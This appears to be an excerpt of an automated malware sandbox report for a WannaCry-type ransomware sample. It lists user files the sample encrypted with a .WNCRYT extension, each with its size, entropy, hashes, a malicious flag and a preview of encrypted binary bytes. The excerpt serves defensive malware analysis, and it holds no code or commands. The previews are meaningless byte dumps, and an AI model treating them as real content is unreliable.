                                      Preview:WANACRY!......1.Gw....3"s{.{z.N......}J..8id....0.....6.....Yi.......a../....H...i....R.R..3..f.5....F...~.[......y..3..+Y=.!.s.>~Ij.~.d..G.....:9..!..w...A...G.u$.<w...p...XI_Z...Y..f..X..7..:.....M.......}..g....o(9H..F=N..........b1TTf["........<...}.S.ga.......................F.......h..M..|..

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):58600
                                      Entropy (8bit):7.997267274284093
                                      Encrypted:true
                                      SSDEEP:1536:UKKd9Os1vRjTgKEwdeSA/NIvgl0Iu52gJMzd:bKd9O+9TXJAVY60Iu5nJMR
                                      MD5:20893772C7A3198B183C0F5B2716BAE3
                                      SHA1:0DD7FBF7B81DA3CC27C6311992700055DB24BDE1
                                      SHA-256:3501ECBECEB12FF58C5BFCB4CA6AD8FCAC4EF7E70B1DB6E8076B18BFAF9D15B1
                                      SHA-512:697430F27E6F5F835BA9B49591491C9743641A415B33AA90D313AAB778006E17DB6FBAFD52F4A93AF6079B2667B65782D7654F1BC45FE95D186D1E497AA21C68
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....V.mca<R@.......c..S..'.....+2....n..0n.F..U]y.O...S..|.C....$R.%b..M#....K....V...>.vNnO.......5....3......@.HL..z.F.../..4....n....CI....b.....c@%..=.#..W.....-pw.PUY...~..#<w*.a..a.p[ %.Op.....X.....W..E............p>.t...1=k'Md3.......C...............$.....V4.)R.-E...2.l!...M....P.TJ.,.....m..q....N..V'....'....BU.....35.P...zR..>z.=..v..R.8..`[.........W5.R.0....e!..r.:...y.M....'..3......4....r7.<...=...n"b!...-.g)(\u.D1.....;..q..+S0..6.8..|.iZh....).1...0|..6...}t.....Ry.._....u~...y{......OL.../yO;..-../...p.......kC..4....mt%.>....@...K..N...o+...MNl..t.........`....;..;R.sb.Xq.....S.mD....vqU....d.k.=..V.*...0.=g.r.@..'.....K........T..09..;.|p..[.t..D9.!..xE.M..E%~.$_.....g.z%"..._...Pox.4K..8......u...... h.i.k..H..'........."d.,...'B:..f ..w ...YB......H..p..L.Ka..@....... ..J...`..y...{[.l..G..O.>'$..81CF.f........j,...y...;.......g"..1.........gO.......O:..'.1.. j.NW.s...-/..Qllt..PJS...Js..e.....X..

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_sr.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.1788141678226625
                                      Encrypted:false
                                      SSDEEP:6:bkEIJ01w0hJI9Uys+zMbh+YIzdBJQXnVqnoeke/WvIcPuA/BQizl:bkEfwYJI5EhNIzdBJUAZ/Wv7/uiZ
                                      MD5:1CA61EC1B2752217D914466AE004C99C
                                      SHA1:B2ACA089D951924543410DE09F5F3F8365F22C25
                                      SHA-256:6C7F7AF63041ED3A07D5ABC3FEBB7AF562447C4DA13089B4F1D4D8A81D75A974
                                      SHA-512:6CB17D99635EA82E2ADA8172FF491E53AAAEA6492D1B57B9EB860F78D4F92F9783D71EDAC73F41B06E7638EB106994D22247983F541AF966FD215A5D15CC32BF
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.........}.....(X..w.Q{Q.|....*U\O.{...Y`Y......#/..yh..tK.....DS.....m...e....M..R..3x.m<D...S...w....I..a...>....a.@&..uU...V..BS?..3^..$'e..&[M....l.:wJh..?.R..G...g..9..m.ol.....f..pQ5;...q..0.....2(...l..c..Cw.O.'.$..`...9....D.{.2.0X.k.x................%.WU.#.....x...|..c.\W..Qkg<.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.199616171013924
                                      Encrypted:false
                                      SSDEEP:6:bkEze2ltaN6Le3yEuayocI/5uvz5/xrtN1AvAREXoNqjiY/z5ixjCx77Plnwf:bkEzVlhLCydTocU5orBSNXtjVL5sjCxQ
                                      MD5:A0A6583F9E70BBDC2D4D0E9C8DB491E3
                                      SHA1:53F6B1CE9A926345F72DA0EB30BF1CBA0B525EC6
                                      SHA-256:F9C95F541F863775E066FF295A5E9F178383E6E6078739994DA987AEA76308FC
                                      SHA-512:3EAEBD060EA65786C246C7B65B97763326A92BECB46C83A4DD3BB86BE8D544272C433F17241CE0CF26EB0C80A67DC6F3BEC7A68041B2EF427F3E44F6D4B46EAF
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....z..4..~P..m!:...?(..P}.zl......;.. .n..g..VA.6......|.W.......2=Z&..x._...$.`...4./d..0...{........p._,....E0).....N......H.s.nq..9.~....i.>.v..s...9'..`.......}........)....o}....L.r..,*.Yz\...$.SZ.,.}.#.Ub........'.*.R.X=...F..S~,.G..h.z;:m...............ws1.F......b...R.Jvw.|..9..

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):312
                                      Entropy (8bit):7.100453392505547
                                      Encrypted:false
                                      SSDEEP:6:bkEVTMbdPtynWplrcLwvDH3xPx6m7lv0u9NCj/DypU2SklGijJFLS6MM2:bkECk/AH3xZ7vVpUhkl5e6w
                                      MD5:3754CBB9C5639536F671E0502AAC7071
                                      SHA1:B6D023A7864129DED3A2C59C3A578284373CD5E4
                                      SHA-256:4B126272C6DDD4F8C73063F4466682CF40AC9270653A6B5C4FA9FE524A2C59CA
                                      SHA-512:A3D87699F7C975705C47049A97D8E7FC417FBF2F001793986447B114497C7D1020ACC468FB375F84763D5E44827508A0D9D76468669A49CF25F689F9870BA3B3
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....)........d..=..i5.....w.8.q.RY....'...EB...Z......RptwM}.h...X?YU......i:.2`W.`.{..>.......u..I..1Cf.F2~4..t.2;.5.;+B..8i. .>.@...;h....JC..d...i*P..AR;d..n.]...Y....c=....+.7..~...lUz.+.N..@.....8...v.p..C..=.@...!....4............K.E</.B.&..............y.6p.2.L.).z@....4.6>V...+.

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1048856
                                      Entropy (8bit):7.999817779904896
                                      Encrypted:true
                                      SSDEEP:24576:Y05jQrJwJngiaKtM3x4Ghrz5ALvRso+AIndDh5sjyF7q:tjAwJngiaiuGGNevRsoIdDb+yNq
                                      MD5:36956D3F7DBF3578CB4FD5580EA4EDA7
                                      SHA1:F5438CE920FB63493128D9DA6EE151A7C8C64F01
                                      SHA-256:AAEFB4324A40174747CC039BC3F8E62EF94F6FB7CDE545F11446ED9295138C95
                                      SHA-512:70AAA2365E006261596FFC1113D7DD7B147851B21D5A17B8AB2A312D2146081B99B311F8873DAE7125CCDE15789B3F524C085F12A215ED01AC0FB82D64A9931D
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....N.....y......@..4._f...(.b.fd+....bn...Z.r}g...@L.xJ.....1.Gn."....h...."].5'....../.....ns.3....B....."R.../2q..'I[.wbj.on.y...J....?.'!.S..N....e...a5.|.e...6!........hBA-.....9.xX..73..y<..\..fg...=.F`..{WlTB....O.O.Z..b.."SN../.+q./::..*.............@vW..........a...9qf.8p+..~...%>..l.H.,.wp..,......v....F1=I..n...Pn....V..-y.JE....4.,..;.C.....k._J`.......~.5.E...I..X..Kg>.A..g.d.-.k...")J#...Q....n.(.L./..:o..4.K...L..#.=dx/n.....#.#P...>fb..3.`c.+......Pz.........Ok..?w+....f..."5Q.."..t"...Nb.L.U3......Z@f.d.G....M#s......1w..S!.aS+.]4:._I.....{.C.sD......._......H|..)<.2.+...!.=O@...r.h....`..p..W{D..h6.t..9.k.....C...D@.`...3%jXe<9r(.........%.:7.t.;....O}..6cc.+.5.fTZsx~.m..4....P.....r..z.f/..."....a.....E"%,....S*%...s....g.`...S\..i.*..R......tN..w....=z.g..g...........*.y.m..uV.....!.M... j.+.o......U.m....=.'.^....aB.[.C.....!..4SA.......|.FS../....0..b../b.]. .tF.guFF...W.f.P2./B....W..:88xH.'V...>...F..e

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\1196d63c.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):6360
                                      Entropy (8bit):7.969225308427014
                                      Encrypted:false
                                      SSDEEP:192:VvUrs7JRPJlHwq7CYoMjXnM4mMTode76lSAc8:VKGfPJSqCYoMjXM4mM006ln
                                      MD5:EAA652219E3E487A524724574595B2C1
                                      SHA1:287BED08973C79D884F46D2D12B4C0A2AA4EF170
                                      SHA-256:7BB53F83FA61C34B71FAE413F688ABAA9F5D52126677359A01BDF8FB86C7C172
                                      SHA-512:7300BA9C98D72186B09A52BD4EE55E737F82FC3352914DA01738668D93A04DEE9761B23E9B0F5AC0AAE9622E05FB85D4DCF16FCC40A315EB0EDF2AB79D3BA12F
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....v}...jL)......d.m....0...9{..j..Q.P...3....E....6.P.W=...YP.W..D?o.H;.D.N4q...W,:..0......x.q.}..}|.nz..,..DO.%v..v.H..y...9V..........z(..L..8...X..g.a.s.?......# .0..h..$T:.7...P.....?P.Wa.uE\.......|a:.p*...'.X.l.r...4..P.......V.1=P&&5.*.).............1.g.T..#.4=.}...)_...F..S..\y4._T.I...wf.h.....!x....._0ou0...41....H.t.....&U.CW.=...^.=.....`...g.B......z....'{@...2....f..f....CbJW.;....1...l..K..=4..Yg.f..8{ie....L.o..u.iW.....wq...o.7.8....*..e...?...a$`.._.?...0m...lM.N.#P.5=.+r.1{.R ....4?-&..@...'....E...i....J..O.{.....Q.l.>. .k..._h...[.w*1..9A...........6..H....j.>._..r..V..+....o..E......E..5G..JJB=~..|.......h.....`.pm.r.KY.=.YP3..........y ...5......0........./...E/..zRy@...%.Lm.9.X9.x....*...3.P.5.,{2...B{.J...j:..y[a.....B..<...k..e.8T!..~.G,d.0.....`.h..}....P.....(#D9..m.7h...*..|..YX.[.k.8............<w.@..??..@....A..e..YM$...g=.hX._......aB.<rG....+.`....0...d.. ..W.....D...[=......Z".=k..d...,o.C.K

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\2b67b297.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):6760
                                      Entropy (8bit):7.974601908909328
                                      Encrypted:false
                                      SSDEEP:192:U6bToi7FNf1IjSNrVXsKSFwDHmqHZtkA25+96QWBkt6J2uW+cIhHRp:Noi7ztUSQKSFIzHZtb25+9rWWtfWcINz
                                      MD5:BAEA8DAF45FC5612D7D0ADFDEC92A84C
                                      SHA1:94849B10BE2FD38F568B9E06463A7461D2248CAA
                                      SHA-256:F56366CEFA3BBE769DFE79BF367EC9DB2CFC7D00D028E35FBC8376CFA7031C9D
                                      SHA-512:FA1438EA59051B343672A5491421107354798A181AE0ABEE975F2FE8F8F40E4196D03A085773E47D16ADDE17A2EADAB45AF1A368DE562582526CE5891758B84E
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!..........z..\..$.....A..]....r.?=.b]j.U.9..P'C....).........%.h..n?b....T...5v..G=JDSw.....cqL..$..q...~NS..].u.CWfq..H..m.*#..]\...JC..:%..<!T......F3z[..*.q.....D...i....<...7.V..7ri..r..rZ...FL......T..VW.u~. i..*.S..]]0...TY".a...&....H...6.[c......K.........n9}......d......-..s.....HN.Bz...N.wx..c..J.F...B..P9a$86...3.i..Pr?..W..JG..QQ...!;8.../..... ......M;>z.8..Q...'.n...\}..g.A`+...E.....J.V...3.2...b.......M.."7.U..H...|...Itr.......n.k.$.`..._.LJ.S~..a..N.6'5...{.].S....D.%...nH.DN`L`...$>....c..1G...........e..(b3.du.Ms=).r.D.&...* UD..mh/. .0.+U.`.1A.k\...].(...0A.e.^EQ9:....E..!*.....].LR.T..t.i..IT.^}..T....6..X8i........M..!..o...M...R.Q...._OZ..5.....b?r.W.H.Z...dRgAv.....\.6@:]NS..l.R..fgH?.Z...F...b.\n[.K5=Q...TY..V........_y...-....xUU+/.U.=.Za'..Q.z..&....TF.....p.....I..GQ5..F>.2D`....P@..Cj...I.....J...4.....{.&...P.6w>..4V...!vedW/x.P..I]...~V<.d....H.'.c..A.8..g.V.....R...UH.?..%.=W.$'eP..~+~.==.....~...

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\36378e77.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):23448
                                      Entropy (8bit):7.991982251974581
                                      Encrypted:true
                                      SSDEEP:384:nGJTP2NVcmwCMRKyRLSq76SA2wlDaOdkwiaJbrHv0GfkslUMICGs7:GJbScJCqHFnmN1fkBMOc
                                      MD5:36D9B45A2C2AFF4BF47355CA2F0240E4
                                      SHA1:72CA67AB9EB6F171F84682F7F6C3BB3F46F30BE3
                                      SHA-256:264C1048970C30D592DC721B2C42AD660F28958C1396ABC69389DE8FEBEEA340
                                      SHA-512:1CBA144C90DF4C966190B3DD47962494A78A038EB01F23F44CE970CD0BEC778D3CAE4517573C9F94DCA00BA34D73F541D9BBA95E92B2015E406A5CF52290CCAF
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!.....{h....jA..^..A.#.B...XVJ...@"?.{qB.....rz0..d...F.9l......=......!...g.A..R...M.!..M.a.=_..i.L..Z1....%.K.N.....5{P..h...H.......BX.....x.PG^.Uay..R..aq}.K].....r.U_..>k.[|A...K..`O..>............'.x.&D.n..W.Q.w....K.+&6..~..5'U.=T...u.2"."7..Fp.;.....uZ.........p..(.!.QH...... |..8..?-.d....H..h........_.em...R.g..'a.........b....>....;T.[.V..N...[.*-.$..4.Z...J...D....Y.L....U^..U...Bk3...NG..FN.]....,">.w.JzD.g....."..4.0...M....(.....h.w"........G.id.X......)Z...X...faq. ..c6.>s(/.b_=<..A... l.5p.[o.A8sk.....O.....V}....R...x..d.7..,.^.g..N7t..A..h.j.e.:. DO;.S..!..Z.d9..f....>/a............f2&<...>.~.v.U../X.Rc..c_...J...c.(.\7.'L81u.`..1a& ...;..>.0M.w..|.R..VS..........X.F.M.u..+v....+.\.^.........%.|..n.>..Q@.+..%... .^;>.S;@.v..."L..|.yP..@.......8..:.LA..\. 0%..n)..pqz.e...U..gy..Q.:.6sq.GY.h^8,....l}.#.H.5&...B...N.`.}u..[."..f..J....5..6.X...........H... e.\..i..BB~_...:....pq...P.=}..E.V.!..5......3.0~rF.h..Bh.ZM

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\4683b0e5.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5880
                                      Entropy (8bit):7.967147310446979
                                      Encrypted:false
                                      SSDEEP:96:oLiW3y6on19c0NNOCO1KLOl6SUE3TQV9EeJGDctW8GZ5RFQv58c5lFI2SHjLtu+h:lW3M19csOXMsxUEDQVPGbF9O5r542dq
                                      MD5:08F46EFB5AAAC52AB0DA493FA76329F0
                                      SHA1:18290C980764959777D8D52C6A4AA68BAB0163EA
                                      SHA-256:A33754B7389066D6F76E5EB8100BBD329069B88C368D7D6394115A34E3D2717B
                                      SHA-512:7DE80877E5B32534A9E0E832F7EF7EB2DDD12DF8560DD21FDECC53B5C73F3CA67E76426F78A7D229AE39F28FF365BAA91B76624E456E9B2B3AC3CF8E95B8F0B8
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......2...F_\N3.M. |.F..*....p.....+6.\9...KA..G.J...q}Ch1".$....!....d....o..=@.LL..9.P..o..W..nx&...R.@.....e1yh.M. ..j..{Q.]i.s.p.B.:...............".u...J....3Idt.D)B.ys.....H.1G_.S<.GF..^...X...4...vz|G.....BX..........<r6LA.:,.?..:..]AE.............V.Kt.>....?m..........5`B?.f.~<.#.vbV............d+..M.y{(J..).p.;x*g.,.>@.. .RIy.A....c2.\.94C....d;9.s.IQ.Z.4....v.......Q...T........J.P.;.[.y.-...p.snl.n..W...a$.....Fm. ..2... ix.k.@zv.Qc..."..hq..|.iw..s..g.o.^.... -h.Cd....W".Q.........+ .'.0....%..eP..y...k.bG.6...&...3..ES.8...*q..+UE..~....B.V".z....O.p.O:.SGwn.{B1..3....I..D....~#C.0.bH$g...;............l.....)*.....@^.T....R}XQ9.^|G...7.....o.B.&8K...h+3..O+.}"D.;Yl...Axn.Neu.u.w'.._6.s.,...Vwu_mI.?".K.W...Z....6..L..%.."S..V.....#.6......n9..}.v.....z44.i`-.....6.J.ZU.../..<..).7(...O.R.cj..A...'.dT.k...4a.=@.Vl".&.:.p.oT.e.e..!..!X...s%..`.h7.....e........{N....:.5.hb......!.....H.....+..ZjL.....u..Gx.....M...

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\5fc0968a.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):5240
                                      Entropy (8bit):7.968464024861165
                                      Encrypted:false
                                      SSDEEP:96:oeRbaTeiagA0/MZLD0VWhohhjEHxF/ekngZ/kYIJElI/gxE2Fpho0RzFdv:jRWZagj/0LDUCkEH6p/eJUqJuphoaBx
                                      MD5:2D546404F897D8D668A3B0FE550C1B7F
                                      SHA1:3B982C55A81B3DD03371FAC89125DBFD9CD50B56
                                      SHA-256:49A0400B66786231E7D3F5D8DAD57F50454754077CC676ED14B3729BFE3C2FD4
                                      SHA-512:C32EC41BB4BA2B43657281E36BC53F5646D2017AAFFF6D6574ED356516709C90C1B2D56D810D19FE77AB97D251DB58DA3E3F43A587E307A2DADE24D745B93234
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....}6.3Q..b.".9jh.=....!..a.;.:-...O"`...V.M..93...>...6....|.....2.[p:....O.B..../IFe.;rDF....5..1GeP2......F."...E...c..0..>...B....H.....6......6.YV..v.I.."|...D..Ay.ep..z.d}......}.."@..j..x?%5k..d...&0..r..7U...fzA...o.S...fhE..*.-;#52i~.t..........X.......).(...0...:...`..g...^aD.e.q.E.......,.....e\k:..ve.J....!....^!.vV.Ao..S...9!....a..2.$.*...F..H;....H.Q.....it......;..g.........L-...Xm...Tu.:.h.{%._.uF}b.b.5....c.O....i{\..vw.Q.....X........H.`.jD....... .T.7<....p..../)......h.j...f .)..I..Ro.....yg.!........1....[.....b....[.#..V.... .U..pJ.8.S/.8;o.Q?.....*..D..$....h....t.Q.5OQ.......I.^W.....#4m.t76d^d....]...F...../.Gj.W...l...>yy...s..|..~3v...t.o.u..u.E..;.t.pg...j.F.a.....S..4...c.A.X....m...~..;i..... g07.D.&.:...a........bz......M;.nU...B.2.Q...J|<9.EC..~[]j....g`Hz...H.*k......Fob;...G..!.g;u.?.X...tO..\rh^.......1j..q.|.....X.Tk("'h..2F3....`,.&..B..m...Vj.b.>....T..1._u......Ff...L..h,.x3w._...)..

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\70af9816.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):9736
                                      Entropy (8bit):7.981039063416887
                                      Encrypted:false
                                      SSDEEP:192:0odRK3sQiHEKhgZ3XVMThhH3aSWuR4R6/SXqjDwRpluPRp8iw8:0odRK3sQih43lgq5Z9XqjNHRf
                                      MD5:1FB3A3B20DABC78C86FF2A5AEEF78647
                                      SHA1:82DA09E008663C66017C7AB85A46922848E9CEF7
                                      SHA-256:0503E4DFE8E334A670C01A0B1276D2FFC3F58984D9C23302D9CEA568E5FC4328
                                      SHA-512:13FA4B32383E2DA365BDFBED00CD5F6C9F786B304765A39CAF3A93C42379E01ED9ED38C44B021EE9A5E56E4E1C249D5801ED6D534E61935B61CB08457D8FE965
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....kx.B...=Yr7...zK.v.kPn....a.g;<.(e..r=.....)..T..9....u.-...#.C....sR#>..:.^.v..R..TIi.b.{-.ZNA...,a.&r.......a .k'.A....bjpR..|....D.....\.-.....I.@t.u..u.%..b....(,.{.T.r\..oU.$_.]?9B..Mo.~..V_O.a5i r}.X....Z.|.A.S...#..{.|..A.~..p........$.......;..^..-.......G...L.)x..y..S....Dj.rv8..`..}.y...&[.=9.oF.x........l.....f.w...M.<.C..1!.~.O...k.8.!.wGs.'..8b...HC~...s\....#.+E.gp.!C.$A...z7_u.1....1...!K/........{>:..P..I.e.9..uV...m....T....0.b...C....q2...l/.....;=..`^...(...:..Q..G9.......2.."..Q.d.SY...+..l..>K`O.[.a...cMHu....*../..[.].q|Ji..Y".;d..").-<..M...).:.rnD=.\d...&T...%\...R.]....u.^....%..K......J.&j.<......SZ..v.Km.:N=....i.....\P.._..u.....o.x"..4.x..;rX..........~.]....._.+...zT:..q..v...aV..<5.R.l2.t.S>.862:d..g==.......*G..;..Q.o...~..4I..i??D..!....'H...7Dj..t...i.b.......;....M...^....w.0qt...f.Wk.Q%.q>L.W/..~[...8 w.N..-........;5nMS..n..Aj.2....0..>....].G.!....[..m..0.9....... 6b..v.C.J.v

                                      C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpnidm\8fce0f3.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):4552
                                      Entropy (8bit):7.970255715058359
                                      Encrypted:false
                                      SSDEEP:96:oNhK3eScjvaAp8Jy9GQIRZaoB5tCgI4SHK919jq4mAw:yKfaaFOGQcRB5IgIZHQ9g
                                      MD5:5EF620F1269D3D22F4192053C5566B9B
                                      SHA1:E50CD36D2887868781FF46883B46E81E3528CC58
                                      SHA-256:2E7E50B8092CDF99FA111D6C33F1DC8E808A4EEF76DADAA7E60E32FA069D3233
                                      SHA-512:D56713D2AE0C27BFCA54DDAD5EBD65103D7C00506DADB14D25ADE64FD60BF5DBCAEB809AEEDCBB1BA4938A343D73CDA2499EB7B5BF77DBD1763CACD801D7B8AB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....pi(l...q.!(.z.c..7.S..GRU...C...A..C...e............q.oMR...P.&}W+..Y.....Z...| .....3..D,V....g......~.....Y....-N.X.o.;.2(.&....d..i..C.......t.E..1..;?72.......^......+^.U)....$..}.....e.S}.?..P.;)./.vL?D.e&....Y.b.J....,.......G..\k8e.....9$n.............x..*.....V...l...B...:..P.i1..@-..UK..lh.6k.k..E...%.H.k{t..7..~..,..8....K....$.>@.....6!.,."...........K.$.....B...3.T..V.5,%...+e..........j.i...}j..Bd:uh2~..iZ..@(.1jQ*....d.2.y..2.#.._..;..<`voS..5.%...y~.@.wV....6F..1l..J..."gg..?.k..N.&.........~)..7.....w..]5o...dj.c.....)......S....X..\Mi..-NR........E%^...5...8*.4A....4vs.K.........xo}............8F....eLD.C..L....|..zx.[..M..l.1[.0.gIM. .......o.....@.0.uW[...p.i..CWv...p.,...u....M .....[._1_..z.4...o...c_".....:...].....K...=aX4.....OY.....{.=....@..75................A.l....o..uI...M...*v..1N=....1..$.H..t...~..G.L"..%....>1....y..{.....=o8..Ecs6&..M3.k...W..ntl5Q.....)./{..O.......)Q....B.a,...|..E...2..f..S

                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\spartan.edb.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):2097432
                                      Entropy (8bit):7.999915966719777
                                      Encrypted:true
                                      SSDEEP:49152:3GwHhSdW5iGXiFXelX3zX66ba/tjVJ4gfhj088m:2mwdW59XbX3z66GthygL
                                      MD5:2D8C56A56452CD47A1922F3F2129C4B2
                                      SHA1:33D1BC240BB74C5BE2AF123532B8A4A3EB8F6BD9
                                      SHA-256:BCFE2E79EC7C53D31D4403FB273EA00F7C6FB4B62AFBC67AB6D9B88A44237F49
                                      SHA-512:89CBBFE928EA77AC5EF971A63CF9A3A111BCF30AABD4A020739D3488380DDCE78B33E65DFDF61739146370B2FD7E919DBF086D3083395328B323BFC1ACBC1E06
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:WANACRY!....d.....z..)5e.).b.f.........B..ZR.. a.b.Y..X1.d..o.K.Z.....4...\.mL.YM..A....d..?.}..U^.+6=..o ...X:pD..\..[.x&.(!..+Q5.m.D.M;...1........k...V.d.....k...?...;U...B!..5..G......m...s_..J...z4<@..a....R~>.I..8O.w.Y...6.......+.0.7...-.. .h.*4.....*...... ......E..tT'.g|..k.{...G.C..`.T...P.~..S.qKW..:K....N......,v....8XdU........u.f.f.S..&q17..P.....+BU.......O:c.V....op....b.H...B..h.N..E.z...p6.Z.Lx..e.Mo.s..|x.$.)r.Pc...)7...<_..=x...oD..*Sy..M.1......+&.o.Bw..rI.ue...$Slww..6.4.\*...T.. .[.].N.H)&S.L/...........@4.V.eq...\...Z.j...MM...2...~..#.i...jA..&T.?.xz.G/..........;X.O.=..-.2T...c`)*3.}..N.n.tu^'..~m.)L..y.8.f.......8L.tv..2..N.....U..N.....)R.........8nB.....l...T.k.3\a.3.l...=.i...........~...Cv.8o...T^cZ..U........!.W.q..bI..E.B.T.....<|...C\...V...d..Z..#..5./.\........B-J.I...".....kR.<..1..I.......n.,......... .S..U.vF..%k..h.;.....}.....M...b.--,e.....V.5.$w....*...k.A-....\/..`..s....+.I6..g....nm .._....

                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):2680
                                      Entropy (8bit):7.920950254739426
                                      Encrypted:false
                                      SSDEEP:48:bkxrmSHpN8R5tET/dMrNvGOMsrtf+sxhYpSPS9Xk32vLT7obaR5EWmFaULH7wl9S:oMApN4e/dmvQsrtWUhYpiS9XnUbcEhQa
                                      MD5:2F9A42F2907DEED1A53110FFA3DAF87B
                                      SHA1:D10A9CAE4BB7B9D8684D1BFF7554C53937574EA8
                                      SHA-256:FCBAF8926683CF69A508F87DCFBF0E89E94BAA5023A6D50971521D5FD0D52D1C
                                      SHA-512:C21AD1DA39A07733F9AB91FF30BDC9B4B7B137B10DEBDD45874660DAF50F158194073D5E59CA687A391079E24C253C1128F43F3CE1FA328A1FC826FAC3BE73B6
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....y,M.HE..o+..S...R.Z.|..%N..".....cc.xi..or..r... .-E..Az.OV<......<...?TQ.]...........CcmR..=....Z...t....7.NR..v..m.sR..!.'.,..k?~...0.?:...<a.B....n_1!.m..2..?....NZ.5.....<..L..\.u.)..S.N!|#............\..k!...|.D.Zn.....p....H..b~....._.xzSS./.U....Y..........-._..&...j..-P.<.....}.V..).X.+.DZW.:.;....b.uO...T..T.sfq...J..0.].O.T..D.C....V.........9..S..|....c... b...@._X....?.)+.@.<]K..!2k5........ .cy+".a.....R8....t....#:. "I-......lJ*...9.5.TyR.....e..|.D5Q,...UTu..ng......R.X.?.u...R.L.............X..q\.........i....!V .-.U*...nCZ.....p..1..7.....y...../.0.6.@`2#8.5d.%.>...1@N.l........f..]&..cA..Al...WcMh....!..e...c.j....I.i....u.....R?..F......8....]#?...Z.wT.2.z.H..\;...5..g.'..M....z.../.F9.V.....j....n.n...7.:...U..........ux.....-....P....P.p.OQ.[........{.).....17....]..Me.j...I....G;]>~....x..........x..L.=...S.1..>..A=.w..HB.v.}u..`..(....4r.E%y.....U.Y..y..+.j.(...t..cP-.].`.w.....#....+R.....$.{..9J.....Z:

                                      C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1912
                                      Entropy (8bit):7.90126989122405
                                      Encrypted:false
                                      SSDEEP:48:bkKOF51/BZf179N8Qh8fMCqHjLZ4UZFOT4ig5B3mQjK2QEpyP:oDJ8RfUvZF1PB3m2Qyg
                                      MD5:83FD5D9F1C1A43B01B4F936056658483
                                      SHA1:2C761CB2C302AC3FCC38244F80CC15BA077180DA
                                      SHA-256:E1D42B9A3C690981B96F2C24D1229A496A152790CBF54BB32C6AD61437598AF1
